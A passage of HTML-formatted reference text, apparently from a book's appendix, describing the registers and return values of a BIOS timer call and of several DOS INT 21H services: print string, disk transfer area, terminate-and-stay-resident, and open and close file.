<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 0</span></div>
</td></tr>
<tr style="height: 67px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: bottom;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-right: 31.65pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = High portion of clock count </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Low portion of clock count </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 0 if timer has not passed 24 hour count </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 1 if timer has passed 24 hour count</span></div>
</td></tr>
</tbody></table>
</div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 18.9pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The clock count returned by this function is the number of timer ticks since midnight. A tick occurrs every 1193180/65536 of a second, or about 18.2 times a second.</span></div>
<h2 dir="ltr" style="line-height: 1.295; margin-bottom: 13.9pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 17.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Interrupt 21H: DOS Services</span></h2>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 10.45pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 9: Print String to Standard Output</span></h3>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= 9 </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 11.9pt; margin-left: 54.65pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Pointer to string to print </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 11.85pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">None</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 8.85pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The character string at </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is printed to the standard output device (which is usually the screen). The string must be terminated by a “$” character, and may contain carriage returns, line feeds, etc.</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 10.4pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 1AH: Set Disk Transfer Area Address</span></h3>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 1AH </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 11.75pt; margin-left: 54.65pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = New disk transfer area address</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 13.15pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">None</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This function sets the Disk Transfer Area (DTA) address to the value given in </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. It is meaningful only within the context of a given program.</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 8.85pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">When the program is terminated, etc., its DTA goes away with it. The default DTA is at offset 80H in the Program Segment Prefix (PSP).</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 10.4pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 2FH: Read Disk Transfer Area Address</span></h3>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 12.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 2FH</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 13.15pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">es:bx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Pointer to the current DTA</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 8.85pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is the complement of function 1A. It reads the Disk Transfer Area address into the register pair </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">es:bx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 10.45pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 31H: Terminate and Stay Resident</span></h3>
<div dir="ltr" style="line-height: 1.19; margin-bottom: 12.65pt; margin-left: 53.85pt; margin-right: 71.25pt; margin-top: 0pt; text-indent: -54.6pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= 31H </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Exit code </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Memory size to keep, in paragraphs</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 13.15pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(Does not return)</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 7.55pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 31H causes a program to become memory resident (a TSR), remaining in memory and returning control to DOS. The exit code in</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> al </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">will be zero if the program is terminating successfully, and something else (programmer defined) to indicate that an error occurred. The register </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dx </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">must contain the number of 16 byte paragraphs of memory that DOS should leave in memory when the program terminates. For example, if one wants to leave a 367 byte COM file in memory, one must save 367+256 bytes, or 39 paragraphs.</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(That doesn’t leave room for a stack, either.)</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 0.2pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 3DH: Open File</span></h3>
<div dir="ltr" style="margin-left: 0pt;">
<table style="border-collapse: collapse; border: none;"><colgroup><col width="72"></col><col width="240"></col></colgroup><tbody>
<tr style="height: 52px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-right: 2.35pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= 3DH </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:dx </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= Pointer to an ASCIIZ path/file name </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Open mode</span></div>
</td></tr>
<tr style="height: 51px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: bottom;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-right: 21.5pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">c</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = set if open failed </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ax</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = File handle, if open was successful </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ax</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Error code, if open failed</span></div>
</td></tr>
</tbody></table>
</div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This function opens the file specified by the null terminated string at </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which may include a specific path. The value in </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">is broken out as follows:</span></div>
<div dir="ltr" style="line-height: 1.295; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 54.65pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Bit 7: Inheritance flag, I. </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 72.65pt; margin-right: 8.8pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">I=0 means the file is inherited by child processes I=1 means it is private to the current process. </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 54.65pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Bits 4-6: Sharing mode, S. </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 72.65pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">S=0 is compatibility mode </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 72.65pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">S=1 is exclusive mode </span></div>
<div dir="ltr" style="line-height: 1.19; margin-bottom: 0.25pt; margin-left: 54.15pt; margin-right: 114.8pt; margin-top: 0pt; text-indent: 18.000000000000007pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">S=2 is deny write mode S=3 is deny read mode S=4 is deny none mode. Bit 3: Reserved, should be 0 Bit 0-2: Access mode, A. A=0 is read mode </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 72.65pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A=1 is write mode </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 12.2pt; margin-left: 72.65pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A=2 is read/write mode </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 8.8pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">I</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">n this book we are only concerned with the access mode. For more information on sharing, etc., see IBM’s </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Disk Operating System Technical Reference</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> or one of the other books cited in the references. The file handle returned by DOS when the open is successful may be any 16 bit number. It is unique to the file just opened, and used by all subsequent file operations to reference the file.</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 0.2pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 3EH: Close File</span></h3>
<div dir="ltr" style="margin-left: 0pt;">
<table style="border-collapse: collapse; border: none;"><colgroup><col width="72"></col><col width="210"></col></colgroup><tbody>
